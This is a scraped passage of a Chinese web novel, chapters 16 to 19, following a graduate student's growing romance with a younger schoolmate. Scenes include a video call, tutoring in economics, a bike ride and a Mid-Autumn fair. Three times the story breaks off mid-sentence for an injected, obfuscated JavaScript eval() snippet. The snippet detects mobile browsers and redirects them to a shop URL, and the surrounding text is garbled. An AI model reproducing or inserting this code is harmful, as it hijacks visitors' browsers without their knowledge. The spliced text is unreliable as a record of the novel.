悍马在一阵低沉的轰鸣声中停在了学校门口。金书玉见他没有熄火的意思,有些诧异地看向他:“你不回去?” 宿昀屈指敲了敲方向盘上的车标:“我得先去还车。” 金书玉点点头,没再深究。就在她推开车门,刚要步入校门的那一刻,身后忽然传来他的声音。 “学姐,”宿昀降下车窗,探出半个脑袋,眼神里亮晶晶的,“你喜欢坐跑车么?” 金书玉停住脚步,回头对上他的视线,如实回答:“没坐过。” 宿昀嘿嘿一笑,露出洁白的牙齿,在阳光下显得格外飞扬:“那改天,我开我自己的车过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469535|201401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,带学姐试试风!” “……好。”金书玉应道。 没去想这已经是第几个“改天”了,也没去细究他口中的车,又会是什么级别。 金书玉只是站在校门口,目送着那道黑色的车影消失在视野尽头。而后才慢慢转过身,孤身走回那个属于她的世界。 次日,金书玉照样按部就班地去实验室工作。 国庆第二天,多数学生都还在外面玩,硕大的校园不免有些空荡。 晚上的时候,金书玉从楼里出来,习惯性地点开宿昀的头像,发现他并没有像往常一样给自己发消息,定时刷存在感。 四周寂静无声,只有晚风掠过枯叶的沙沙响。少了那份叽叽喳喳的打扰,金书玉心底竟泛起了一丝陌生的孤单。 极为难得的,她点进了宿昀的朋友圈。 最近的一条动态停留在前天:【来吃东北菜啦!】。配图是三张色彩浓郁的菜品,金书玉在那盘锅包肉的边缘,看到了自己入镜的半截手臂。 唇角不自觉地勾了勾。 继续往下翻,是宿昀站在那辆悍马面前比耶自拍,文字是非常有他个人风格的【哥帅不帅!】。 金书玉被这股隔着屏幕扑面而来的自信逗笑了,顺手点了个赞。 再往下,是一张路灯下拉长的两个人影,彼此靠得很近。那张图她见过,当时还觉得幼稚。现在看来,却又是另一番滋味。 指尖悬在屏幕上,久久没有落下。 最终,她还是熄了屏,自己一个人缓缓地走回宿舍。 回到宿舍,推开门的刹那,凉风迎面灌了进来。这几天昼夜温差逐渐加大,窗户开了一整天,现在屋里比走廊还冷。 金书玉站在门口愣了一会儿。 明明以前都是这么过的,怎么今天就觉得……空落落的?像是少了点什么。 简单洗漱后蜷进被窝,金书玉本想骚扰一下钱乐乐,点开对话框,才发现两人的联系还停留在两天前。 想必还在世界的某个角落疯玩吧。 微信列表翻了一遍又一遍,圈子真是小得可怜,能说话的也就那么几个。等她反应过来时,已经再次点开了和宿昀的对话框。 消息还停留在前天他给自己发的号码上。犹豫了一会儿,金书玉还是拨了过去。 只是给他说声国庆快乐。嗯,只是这样。 她说服自己。 响铃不过几秒就接通,宿昀的声音听起来有些惊喜,带着几分不确定的试探:“学姐?” “宿昀。” 听到真是她,男孩的声音顿时飞扬起来,“怎么想起给我打电话了,学姐?” 还没等金书玉想好措辞,他已经自顾自地叭叭找好了理由:“学姐想我了是吧,昨天是被我妈抓回来了,现在在北医三院呢。放心,我很快就回去陪你。” 金书玉酝酿已久的“国庆快乐”生生卡在喉咙里。 沉默了一会儿,她没话找话:“阿姨……还好吗?” 宿昀“啊?”了一声,随即解释道:“哦,我妈好着呢,本来和她说了不回去,结果她闺蜜病了,勒令我们这些小辈都回来看看。” “哦”。 又不知道该说什么了。 也就是此时,金书玉忽然发现,她对宿昀的了解单薄得如同一张白纸,少到在这样尴尬的间隙,她连找个话题维持体面的能力都没有。 电话那头忽然嘈杂起来,几秒钟后,宿昀的声音带着歉意:“学姐,我这边暂时有点事,晚点儿再找你好么?” 扣着手机的指尖紧了紧,金书玉轻声应道:“好。” 手机重新扔回枕头边,金书玉努力阖上眼。 原本只是觉得孤单,想找个人聊聊天,聊以解闷。 可似乎真聊上了,她又不仅满足于此。 她好像变贪心了。 在床上翻来翻去,怎么都睡不着,金书玉干脆起身,站在窗边,把窗户推开,让冷风呼呼往里吹,试图把她发热的头脑降降温。 站了好一会儿,她才慢吞吞地挪回床上。 微凉的身体陷入柔软的被窝,舒适感四面八方裹来,这次终于安心地入睡了。 - 再次醒来,是被微信铃声吵醒的。 为了避免错过导师的消息,她向来不开静音。但此刻手机持续不断地响着,金书玉只想把这软件卸载。 她挣扎着从被子里伸出手,凭直觉滑向接听,惺忪着眼把手机举到面前。 下一秒,她直接对上了屏幕里宿昀放大的俊脸。 顶着一头蓬乱的头发,金书玉眼睛瞬间睁大,瞌睡全醒了。 不是。 怎么开的是视频! 17. 补课 迷糊的脑子瞬间清醒。 甚至来不及拨开脸颊上乱糟糟的碎发,就猝不及防地撞进了宿昀带笑的眼睛里。 隔着窄窄的屏幕,他的目光清亮,更衬得她此刻的狼狈无处遁形。 她手忙脚乱地把被子拉上去,遮住摄像头。 “那个……等一下,我换件衣服!” 等屏幕重新亮起来的时候,金书玉已经火速把长发扎成了个松散的马尾,脸颊上还带着刚从被窝里出来的红晕。 “什么事?”她小声问着,嗓音里还带着点没睡醒的沙哑。 宿昀看着她,唇角勾了勾:“没事。就是之前答应了学姐,晚一些会打过来。” 金书玉愣了一下,下意识瞥了眼时间,已经凌晨三点。 见视频那头灯火通明,冷白的光线打在宿昀脸上,苍白间透出些微疲惫。 她问道:“你们刚结束?” “嗯,刚从医院回来。”他凑近屏幕,语气里带着点撒娇的意味,“好累啊学姐,身上全是消毒水味,熏得我头晕。” 看着他眼底淡淡的青色,金书玉脱口而出:“那快去洗澡睡觉啊。 宿昀笑了一声,盯着她没动,“学姐这是刚见着面就打算赶我走?” “不是——”金书玉语塞,到了嘴边的话又被她咽了回去。 凌晨三点,也确实没有什么话题可聊。而且说实在的,两个人这样对着屏幕发呆的样子,看起来还挺傻的。 可谁也没舍得按下那个红色的挂断键。 哪怕什么也不说,只是静静地看着对方,对此时的两人来说,似乎也已经很好。 最后还是宿昀没撑住困意,努力压下一个升上来的哈欠,眼角都逼出了一点生理性的泪水,只好先开口道:“那我去收拾了。” 金书玉刚想点头,又忽然出声喊住,“宿昀。” 屏幕晃了一下,那张年轻飞扬的脸又重新回到了窄小的屏幕前,“怎么了?学姐。” “那个,就是……你要在家里待多久?” 宿昀不太确定,皱着眉道,“不知道,或许明后天还得去趟北医三院,我也不太清楚。我妈不放人,那也没办法。” 明后天都不在啊,金书玉心里想着,不知为什么有些失落。 她抿了抿唇,闷闷地应了一声:“哦。” 宿昀盯着她看了两秒钟,嘴角忽然翘起来:“怎么,学姐真想我了?” 被戳中心事的金书玉一噎。 “没有。”她飞快地反驳,试图掩饰自己的心虚,“你想多了。我去睡了,拜拜。” 说完,不等他反应,便啪地挂断了视频。 - 第二天没什么安排,金书玉还是决定去实验室。 实验室是个能让人忘却时间流逝的神奇地方,日子很轻易地从成堆的药品数据和重复的流程中溜走。 当她脱下手套,揉着手腕出门时,太阳已高照正空,都中午了。 视线不经意扫过对面的教室,金书玉的脚步忽然顿住。 那人是……? 她推开门,走了进去。 午后的阳光透过教室窗棱,斜斜地铺在棕色的木质桌椅上。宿昀正坐在窗边的光影里,低头翻阅着一本厚重的教材,整个人被笼在一层浅淡的光晕里。 而这个昨天还说自己不一定会回来的少年,此时此刻,正坐在自己实验室对面的教室里,给了她一个不大不小的惊喜。 随着脚步声的靠近,宿昀从书页中抬起头。 在看清来人的瞬间,他原本沉静的眉眼顿时生动起来,如同枯木逢春。 “结束了?学姐。” 金书玉心头微微一颤,那一秒她竟然生出一种,有人在等自己下班回家的感觉。 她掩饰性地垂下眼帘,“嗯。” 教材“啪”的一声合上,宿昀站起身,自然地递过来一支护手霜:“走吧,先吃饭。” 护手霜是常见的牌子,蓝色的包装上印着一堆外语,味道“加州阳光”,是这个系列最受追捧的网红款。 “怎么突然给我这个?” “学姐,”宿昀理直气壮地指了指她的手,“你那手一天不知道要洗多少次,不好好护着,皮都要泡皱了。” “……我那只是习惯。”金书玉小声嘟囔。 虽然嘴上斗着,她倒也没推辞,接过护手霜戳开锡封,往手背上挤了一点。 淡淡的柑橘香气混合着冬日暖阳的味道在空气中散开,清清爽爽。 “还挺好闻的。” “真的吗?我闻闻。”宿昀说着,自然地拉起她的手,微微俯下身。 脸庞突然在眼前放大,金书玉甚至能看清他浓密上翘的睫毛。 下一秒,他高挺的鼻尖轻轻蹭过她的手背,触感若有似无,软软的、带着少年温热的呼吸,牵起一阵细碎的痒。 金书玉只觉得那股痒意顺着手背一路爬进了心里。她指尖微颤,手腕不自在地往回缩。 宿昀察觉以后,立刻退开,笑得眉眼弯弯:“嗯,确实好闻。果然我还是有品味,盲狙都这么厉害。” 金书玉:……有没有一种可能,人家每个味道都很不错。 心里这么想的,她也这么说了,宿昀不服,当场掏出手机翻小红书测评,怼到她眼前。 金书玉似笑非笑:“刚才不是还说盲狙?” “……” 宿昀默默收起手机,换了个话题:“那什么,最近东食堂好像出了新菜,也不知道好不好吃。” “去试试呗,不吃怎么能知道。” 两人就这么有一句没一句地互相拆台,在渐浓的暮色中并肩而行。 影子在身后被拉得很长,偶尔分开,更多的时候交叠在一起,透着一种和睦的暖意。 饭吃到一半,宿昀的手机在桌面震动起来。他接起电话应了几句,挂断后,看向金书玉,脸上带了几分歉意。 “不好意思啊学姐,我妈叫我去医院一趟,下午可能不能去实验室陪你了。” 似是被“陪你”两个字戳了一下,金书玉微阖着眼,嘴里却在赶人:“快去吧,谁需要你陪了。” 说完又低声嘀咕:“我都多大了。” “能有多大啊学姐,”宿昀凑过来,笑嘻嘻的,“撑破天也才二十出头。好啦笑一笑,别整天皱着眉头,容易显老。” 金书玉没好气地白了他一眼,心里却因为这句插科打诨轻松了不少。 吃完饭,金书玉也没忙着回工位,先回了宿舍。 把攒了几天的铺盖塞进洗衣机,她回到宿舍,手里还捏着那支护手霜。 加州阳光。 像宿昀一样。 脑海中毫无预兆地跳出今天在教室门口看到他的那个瞬间,他坐在那片灿烂的碎光里,从书页中抬起头,在看清自己的那一秒中,眼底的亮色像是盛满了整个金秋。 就那一眼,让她感觉自己的心跳也跟着起伏。 金书玉缓缓将头埋进臂弯里,鼻尖依旧萦绕着那股淡淡的清香,手心紧紧攥着那支铝管。 在午后温和的暖阳下,她合上眼,朦朦胧胧地睡着了。 再醒来已经是下午,她揉着眼把衣服收了晾好,又慢悠悠地踱回宿舍。 才进门,手机就欢快地振动起来。 “学姐学姐~” “救命!” “……” 接连蹦了六七条,原本安静的宿舍环绕着叮叮当当的提示音,金书玉拿起来一看,果不其然,是宿昀发来的消息。 “什么事?” “学姐,你学过经济学吗?” “本科跨选过,怎么?” “求求你了学姐救救我吧,找师兄要了往年的期中卷子,现在发现自己看不懂题目。” 不会做能理解,看不懂题目是什么意思? 金书玉:“……题目发来。” 宿昀见机行事:“哎呀学姐,隔着屏幕说不清楚,不然咱们找个空教室,你给我补补呗!请学姐吃饭。” 金书玉冷淡地戳穿:“你不是在医院?” “十分钟就到学校了!学姐等我,马上!” 看着那一串迫切的感叹号,金书玉最终还是没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469536|201401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能拒绝小孩。 金书玉简单收拾一下,给宿昀发了个位置:“实验楼307,今早你呆的那里,没人,可以说话。” 那头很快发来一个“好”字。 等金书玉到达的时候,宿昀早已坐在那里。见她进来,激动地招了招手,“学姐,我在这!” 卷子被推到面前,金书玉扫了一眼,不是特别难,都是微观经济学的基础题,就是计算比较麻烦。 “哪题不会?”她问。 宿昀张开手指,啪一下盖在了卷子上。 金书玉迟疑着,“第5题?” 宿昀摇摇头,语气高深莫测,“不,是全部。” 金书玉气笑了,卷子往回一推,“那么请问亲爱的宿昀同学,你上课的时候都在干什么?” 宿昀眨巴着眼,“我在听课啊,听不懂能怪我吗?” 盯着他那副理直气壮的模样看了半晌,金书玉最终无奈投降,翻开课本第一章,“你需要从这里开始,先看定义吧。” “好。” “看明白了就来看题目,这题问的是商品的需求弹性。我们先看它给的需求曲线,它是一个……你看我做什么?” 宿昀单手撑着脸,眨眨眼,“学姐,你怎么什么都会呀?” “别看我,看题。”金书玉声音不由得大了些。 “你好凶哦,像我的高中教导主任。”宿昀嘟囔着,不情不愿地把视线移回教辅。 金书玉用手指点着一行行文字给他讲,宿昀听着听着,居然也听进去了些。 “哦,所以当所有的帕累托改进都不存在,也就是不能进行任何改动使一个物品的状态变好或变坏的时候,就是帕累托最优状态,是吧?” “意思差不多,具体的表述再优化一下。你看课本的定义在第七十……” “好了好了,我知道了,这一条过,我们继续下一个专题。” 金书玉忽然停下来,犹疑地看着他:“你这不是会吗?” 宿昀瘪瘪嘴,“这不是看不进字去吗?学姐在就不一样了,看得可快了。” 耍赖耍得毫不走心,奈何找对了对象,金书玉拿他没有办法,只好继续讲。 宿昀的视线早已从白纸黑字上飘离,落在她的侧脸上。白皙的皮肤在残阳下近乎透明,连鬓边细微的绒毛都清晰可见。 她讲题的时候表情很认真,睫毛偶尔颤一下。 宿昀看着看着,开始走神。 他见过很多漂亮女孩,却从未见过这样的人。不像大明星那样极具侵略性的美貌,而是如同像陈年温酒,越看越让人想沉溺进去。 “宿昀。” 金书玉停下来,平静地看着他。 他回过神来,立刻举手投降:“在听在听,边际效用递减,我听懂了,继续呗。” “边际效用逐渐递减,所以我耐心也在逐渐递减,”金书玉把教材一推,冷着脸坐到另一个角落,“自己学去,我要看文献了。” 接下来的一个小时,她强迫自己无视宿昀无数次投来的求助视线。每当被他那种带着点委屈的眼神看得快要心软时,她就飞快地把目光挪回电脑屏幕。 金书玉!不能被诱惑!你是党-员!要坚定信念! 最终宿昀所有的求助都以失败告终,只能自己埋头闷在书堆里,在数字的海洋里挣扎沉浮。 太阳从中央慢慢滑落到西方,等金书玉再从屏幕前抬起头,天边已经只剩下一点微光。 天快黑了。 金书玉合上笔记本电脑,“走吧,先去吃饭。” 忽然得到解放的宿昀:“好!” 金书玉看他那副如蒙大赦的样子,忍不住笑着摇摇头。 两人一前一后走出实验楼。在路过楼下守楼阿姨的时候,宿昀笑眯眯地和阿姨打了声招呼。 阿姨最喜欢嘴甜的大小伙子,乐呵呵地应着。 视线往旁边一瞟,落在疑惑看着二人的金书玉身上,大喇喇出声: “哎呀小宿,这次你女朋友实验做完这么早,这就回去了呀?” 金书玉脚下一个踉跄。 18. 骑行 宿昀非但没否认,反而大大方方地应了下来,“嗯,今天结束得早,您也快些下班去吃饭吧!” 招呼完了阿姨,他长腿一迈,几步追上前面埋头疾走的金书玉。 “等等我呀,学姐。”他在身后拖长了音调,带着点明知故问:“走这么急做什么?路又不长。” 金书玉想要质问,话临到出口,却发现自己对着笑得无辜的他,根本说不出重话,只能支吾:“你,你怎么能这么跟阿姨说……” 宿昀双手举过头顶,做出一副投降的样子,语调却带着欠:“天地良心,我可一个字都没编啊学姐。顶多也就是,阿姨问起的时候,没否认罢了。” 金书玉:“……” 她请问呢,这有什么区别? 可看着男孩在路灯下利落挺拔的身影,加上那副张扬肆意的面孔,金书玉却又忽然觉得,好像他做什么都可以原谅。 ……明明她是个脸盲来着,怎么有变成颜控的倾向了。 面对滑不留手的宿昀,说又不能说,喊又不能喊,平时语气稍微差点立马瘪个脸给你看,真是比细胞死了还让人头疼。 第二天她就发现,这话说太早了。 因为她的细胞真的又死了。 短短十几天,已经是第三次。 金书玉盯着显微镜下那一片灰败,手指在桌沿上敲了敲。 pH值明明调对了,温度保持恒定,到底是哪里出了岔子? 她翻出实验记录,一行一行核对,加样时间、离心转速、培养基批次……都没问题。 那为什么活不下来? 她又盯着显微镜看了几秒,细胞呈现出一种彻底的安详,死得透透的,连半点抢救的余地都没留下。 ……很想把培养皿一起扔掉算了。 毕业证书好像又离自己远了一些,现在简直遥不可及。 金书玉咬着牙,强打起精神重新核对了一遍配比,机械地重复着那套早已做了千百遍的动作。 直到最后一项工作收尾,时间已经无声无息地滑到了晚上八点。 脱下厚重的无菌服,拖着疲惫的步伐走出大门,当身体和脑袋一并从高压状态下空闲出来,她才后知后觉地意识到,今天一整天自己竟然水米未进。 胃里空空荡荡的,她快步下楼,寻思去便利店找点关东煮或者饭团垫垫肚子,这时手机嗡地震了一下。 才想起自己已经冷落了一整天手机,一打开,屏幕几乎被消息淹没。 光是宿昀就贡献了99+。 她眉梢微扬,指尖一划让屏幕滚到最顶端。早上十点多的时候,宿昀发来了第一条消息。 【又被抓来医院了。好饿。学姐你吃早饭没?】 【我猜肯定没吃,所以给学姐点啦!记得去取。】 【图片】 中间几乎每隔半小时,这人的骚扰就准时送达,中午甚至还发来一张外卖柜取件码的截图。 到了晚上,由于没得到回复,他干脆开始了复制粘贴,又扔过来一张取件码。 这种被人时刻惦记着一日三餐的感觉,对常年独来独往的金书玉来说,确实是一种陌生而又难得的体验。 她不打算拂了这番好意,走向外卖柜的脚步轻快了不少,连风似乎都带了点柔和的香味。 对照着取件码,指尖轻点,满心期待地等着柜门弹开,将内部的美食送出来—— 毫无动静。 金书玉愣了愣,以为是信号延迟,又重新扫了一下。下一秒,整个外卖柜像是抗议般发出一声沉闷的电子音,随后直接死机,连顶部的照明灯都跟着熄灭了。 金书玉:“……” 什么叫屋漏偏逢连夜雨,这就是。 旁边几个刚下课的学生也围了过来,大家盯着那漆黑的铁柜子,空气中弥漫着不安的焦躁。 金书玉朝四周看了一眼,随后走向值班室,询问那个操着一口浓重方言的保安大叔。 “大叔,这外卖柜坏了,能帮忙报修一下吗?” 大叔操着一口不知哪里的方言,“大妹子你说啥?” 她重新解释了一遍,保安连忙摆手:“那啥子不归我们管,晓不得咋搞。” 左看右看,这里除了和她一样束手无策的学生,也没其他看上去像是能管事的,金书玉只好打了外卖柜上贴着的报修电话。 等候的间隙,她拍了一张地面上路灯拉长的阴影,发给宿昀。 对面秒回了一个问号。 “外卖柜锁死了,电子宠物当前状态冷却中。” 下一秒,视频通话毫无预兆地弹了出来。 金书玉吓一跳,连忙翻出蓝牙耳机戴好,做贼似地左右环顾,找了个没人的角落,这才小心翼翼地接通。 “你怎么打电话过来?” “慰问一下我养的电子宠物。”宿昀的脸出现在屏幕里,他这会儿似乎刚回到家,背景不再是医院。 他沉着脸,唇线紧抿,“生怕某人一天就把自己饿出毛病,多大人了连饭都不会按时吃。” “……哪有这么严重。” “从早上到现在已经十四个小时了,学姐,你是机器人吗插上电就能转?” 一般来说,宿昀对着金书玉总是眉眼带笑,这会儿他连“学姐”都不叫了,语调压得很低,隐隐的火药味穿透屏幕扑面而来,显然是真动了气。 金书玉有些心虚地缩了缩脖子,努力解释:“实验出了一点岔子,忙忘了。” 宿昀冷哼一声,故意偏过头不看镜头:“没有。我哪敢跟大研究员生气。” 金书玉自知理亏,长这么大,也从未哄过人。 此时对着明显炸毛的宿昀,她也不知道该如何是好,沉默了几秒,最终只小声说了句:“……下次不会了。” 宿昀转过头看她,见她低着头垂着眼,一副蔫嗒嗒的样子,不知怎的,气已然消了大半。 他无奈地叹口气,脸色肉眼可见地缓和了下来,“先去便利店买个饭团垫垫,我联系客服催催看他们能不能尽快解决。” 金书玉刚应下,维修师傅终于骑着电动车慢慢悠悠出现在视野里。 她忙知会宿昀一声,飞快地掐了视频。 本以为还要等排查接线等一系列工程等上许久,没想到师傅从随身大布包里,翻出一大串与包租婆类似的钥匙,瞥向金书玉:“几号?” 金书玉连忙报上号码:“17,30,还有68。” 维修人员找钥匙的动作一顿,上下打量她单薄的身板,眼神带着稀奇:“看不出来啊小姑娘,一个人吃三个人的量。” 金书玉:“……” 半分钟后,三个口袋挂在了金书玉手上,不知道宿昀点了什么,还挺沉。 想了想,她将手里的三个袋子一起拍了张全家福,发了出去。 “拿上了,回去吃。” “都冷了。我给你点夜宵吧。” “不用,加热一下就能吃。” 热乎的餐点很快抚平了胃部的痉挛,金书玉也没敢吃太多,怕消化不了。 剩下的饭菜本打算留到明天,但宿舍的集体冰箱早已被塞得满满当当,是否还能正常冷藏实在存疑。 纠结半晌,金书玉最终只能对着那堆满溢香气的食物,在心底默默说了声抱歉,含泪将它们扔掉了。 细胞培养接连的失败给她很大打击,出于逃避的心思,第二天,金书玉难得睡了个懒觉。 才睁眼,手机就震动起来,屏幕上跳跃着熟悉的名字。 “早上好呀学姐。”宿昀的声音在听筒里显得格外清朗,“今天没去实验室?” 金书玉意识还有些迷糊:“你怎么知道?” 下一秒,一张锁门实验室的照片发了过来。 “我就在门口。既然学姐不打算上工,那要不要出门走走?”宿昀明着诱哄,“今天阳光特别好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469537|201401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,据说是近几年京市最顶级的蓝天,浪费了挺可惜。” 金书玉翻了个身,阳光已经透过窗帘缝隙,柔和地抚在脸上。她抓了抓被子,沉默几秒才应道:“好。” 下楼的时候,宿昀正斜靠在花坛边,手里有一下没一下地抛着钥匙串。 他今天换了一件极有型的深色夹克,拉链半敞着,露出里面干净的黑色内搭,造型挺括,整个人在阳光下显得利落又精神。 看到她出现,那双狭长的眼睛弯了弯。 “走吧。”宿昀自然地带着人往校外走,没说去哪,金书玉也没有追问,只是安静地享受着阳光洒在身上的感觉。 直到,她被带到了一排整齐的紫色共享单车面前。 “我们去骑车吧!正好呼吸一下新鲜空气。”宿昀笑眯眯地拍了拍车座。 金书玉愣住:“……骑这个?” 金书玉觉得这和自己想象中的骑行不太一样,不应该是昂贵的山地自行车、加上专业的头盔护膝之类的装备吗? 骑共享单车也就算了,怎么还来蹭旁边学校的,是看不起小黄车吗? 宿昀耸耸肩:“现成的资源不用白不用,弄一套装备也不是不行,但学姐的尺寸需要临时定做,来不及了。” 金书玉:“……” 看了眼那些共享单车,又看了眼宿昀。他倒是笑得坦然,好像这计划天衣无缝。 “……行吧。” 两人扫码开锁,骑上车。 今天阳光确实很好。十月的京市,难得没有一丝雾霾,天空蓝得透亮。微风从耳侧拂过,不冷不热刚刚好,卷走了实验失败积压在心底的郁气。 金书玉很久没有这样骑过车了。来京市五年,出门不是地铁就是打车。倒是从来没想过,原来在这个快节奏的城市里,也可以这样心无挂碍,慢悠悠地晃荡。 她忍不住偏过头去看侧后方的宿昀。 风吹乱了他的头发,露出光洁的额头,阳光在他身后镀上了一层毛茸茸的金边。 似乎察觉到了她的目光,宿昀忽然转过头,对上了她的视线,眉眼张扬,笑得肆意而张狂。 “怎么了,学姐?” 金书玉心跳有些加速,飞快地别开眼:“……没什么。” 宿昀笑了一声,也没追问,笑声很快消散在风里。 骑到一个红灯前,两人并排停下。金书玉单脚支着车,转头问他:“我们要骑去哪?” “想去哪去哪,骑累了打车回去。” 金书玉一怔:“没个目的?” 宿昀回头看向她,眼里不解又澄澈:“为什么一定要有目的地呢,我们就不能为了骑车而骑车么?” 为了骑车而骑车? 金书玉心下一动。 那养细胞呢?是为了养出结果,还是为了养本身? 她一直想着要做出结果。 可如果一直没有结果,探索的过程就一定是错的吗? 绿灯亮了。 宿昀率先蹬了出去。金书玉紧跟其后,用力踩了几下追上他,气喘吁吁地开口:“宿昀!” 他长腿一撑,捏下刹车,单脚支在路沿上回过头。 “我……”她顿了一下,表情纠结,“我想回去一趟实验室。” 金书玉没敢看他,同意出来玩的是她,临时反悔的也是她,的确扫兴。 但还是努力解释:“有个实验问题,我突然想明白了。我们改天再骑行不行?” 宿昀看着她,没说话。 金书玉被他看得不自在,正想说点什么,他忽然笑了。 “行啊。”他说,“那说好了,改天。” 说完,他脚下一个发力,自行车倒着滚了一圈,回到了金书玉身边,和她距离不过半米。 倾身靠近了些,他又补了一句:“学姐,你可欠我好多个改天了,我都记着呢,就等着找你有空的时候——” “慢慢还。” 19. 中秋 回到实验室后的那几天,金书玉像是突然开悟。 当她不再死磕最初预设的结果,反而敏锐地察觉到了之前被她忽略的微小温差。 等她神清气爽地从实验室里走出来时,国庆假期已悄然步入尾声。 其间宿昀约了她几次,都被她以实验为由推掉了。 小孩在微信里发了一堆撒泼打滚的表情包,金书玉偶尔实验做得烦了,看到这些消息,心情总会放松下来些许。 现在好了,培养流程终于回归正轨,明天的组会也有拿得出手的汇报。 金书玉走出实验楼,只觉得天空从未如此湛蓝,空气从未如此清新,甚至连路边的树叶……怎么都黄了? 摸出手机一看时间,今天竟然刚好是中秋。 陈女士从南城给她寄了一大箱鲜花月饼。金书玉费了九牛二虎之力才把沉甸甸的箱子从快递站搬回宿舍。 推开门的那一刻,扑面而来的冷清感让她愣了半晌。 她这才恍然想起,钱乐乐中秋要在家里过,所以宿舍依旧只有她一个人。 看着那一箱足够吃到天荒地老的月饼,金书玉第一次生出了想要自己打破孤独的念头。 她揣着一兜月饼,有些局促地敲开了隔壁寝室的门。 “你是?”门缝里钻出一个顶着干发帽的脑袋,一双黑亮的大眼睛好奇地打量着她。 “那个,家里寄了很多,请你们宿舍吃月饼。”金书玉连忙递出手里的月饼,声音很小,像是不敢说话。 女生惊喜地接过,扔下一句:“你等一下。”便趿拉着拖鞋跑回屋里。 半分钟后,她拎着一大兜各式各样的零食塞到金书玉怀里:“这个给你,中秋快乐呀!” 扑面而来的热情和善意让常年习惯独处的金书玉一时不适应。她愣了几秒钟,才缓缓回道:“谢谢,你们也……中秋快乐。” 迈出了第一步,后续的分享就变得顺理成章。当她绕着走廊送了一圈回来,怀里剩下的月饼还剩下六个,却多了一堆奇奇怪怪的零食。 她拍了张图发给宿昀,“你们宿舍是不是四个人?吃月饼吗?我这里正好还有四个。” 过了一会儿,宿昀的消息才慢吞吞地弹出来:“吃不了那么多。学姐,现在宿舍里只有我一个人。” 金书玉一愣,而后安抚道:“没关系,我也只有一个人。” “那学姐今晚有安排吗?” “没有。” “那……要一起去操场赏月吗?” “干对着月亮看吗?挺无聊的吧。” 屏幕那头陷入了长达一分钟的沉默,随后发来了六个句号。 金书玉这才反应过来自己把天聊死了,连忙补救:“学校每年都有中秋晚会,今晚是游园活动,要一起去吗?” “学姐不会觉得无聊吗?” “……有活动的话,可能还好?” 好个头。 金书玉站在热闹的摊位前,手里死死捏着最后一个塑料套圈,内心只有大写的后悔。 十九个圈,她!一!个!都!没!套!中! 周围的学生们大多能带走几包纸巾或者几块小月饼,她倒好,第一次失败后本该收手,可那骨子里的胜负欲让她脑袋一热,居然又跑去排了第二次队。 结果简直是自取其辱。 本打算闭着眼随便把最后一个圈扔出去算了,但在松手之前,手臂被身后的人轻轻压住了。 宿昀靠在她身后,手里还压着她的手腕,眼里带着明晃晃的笑意。 总觉得那笑意分外刺眼。刚才,就是此人,一路笑着看她什么都投不中!金书玉眉梢一挑,气不打一处来:“你什么意思,笑我技术差?” 宿昀摸着下巴点头:“有点。” 下一秒,套圈差点套到他脖子上,宿昀连忙避开,笑嘻嘻道:“好了逗你玩的学姐,看上哪个了?” 牛皮吹得可真大,金书玉“切”了一声:“要哪个都能套到?那我要一等奖。” 一等奖是最后方的一个大型宫灯,灯面绘制着学校的标志性建筑和嫦娥奔月的线稿,造型精致。 “行。”宿昀正准备从她手里接过套圈,却被主办人员制止,说是不允许场外援助。 金书玉没招了。正准备随便扔出去的时候,手腕被带着轻轻往下压,后背的侧方贴来了温热的躯体,呼吸就凑在耳侧。 “下蹲,重心下移,视线看向宫灯,手腕稳住,不能抖。” 主办人员见状,似乎想说什么,宿昀咧嘴一笑:“我没碰套圈。” 主办人员:“……” 公众场合撒狗粮真讨厌。 在宿昀凑近的一瞬间,金书玉就已经失去了思考能力,只能跟随者耳畔的指令,一步步完成动作。 可能周围的人有些多,明明是露天的环境,她却觉得有些缺氧,红晕从脖颈一步步,慢慢爬上耳侧。 “别扔,把圈平推出去,像打太极一样,三,二,一……” 手腕一推,套圈平飞出去,正对着宫灯上方! 周围“哇——”地惊呼出声,那套圈在宫灯正上方的台面上,打了三四个旋,最终,从一侧滑了下来,吧嗒一下,套住了在旁边的小月饼。 宿昀:“……” 金书玉:“……” 周围同学:“……” “切还以为是王者呢,没想到青铜啊,走了走了。” “不是最后还能滑下来是认真的吗?那宫灯涂油了吧。” “到我了到我了!” “恭喜这位同学获得五等奖,学院月饼一枚。” 主办人员笑眯眯地把月饼递过来,笑得那叫一个嚣张。 不论奖品是什么,总归是自己套到的,金书玉依旧很高兴,举着那枚保温杯盖那么大的月饼,对着宿昀笑得灿烂:“我套到了哎宿昀,你看!” 原本表情还略有点臭的宿昀见她这幅样子,也跟着笑了笑,“是不是有我一份呢学姐?” 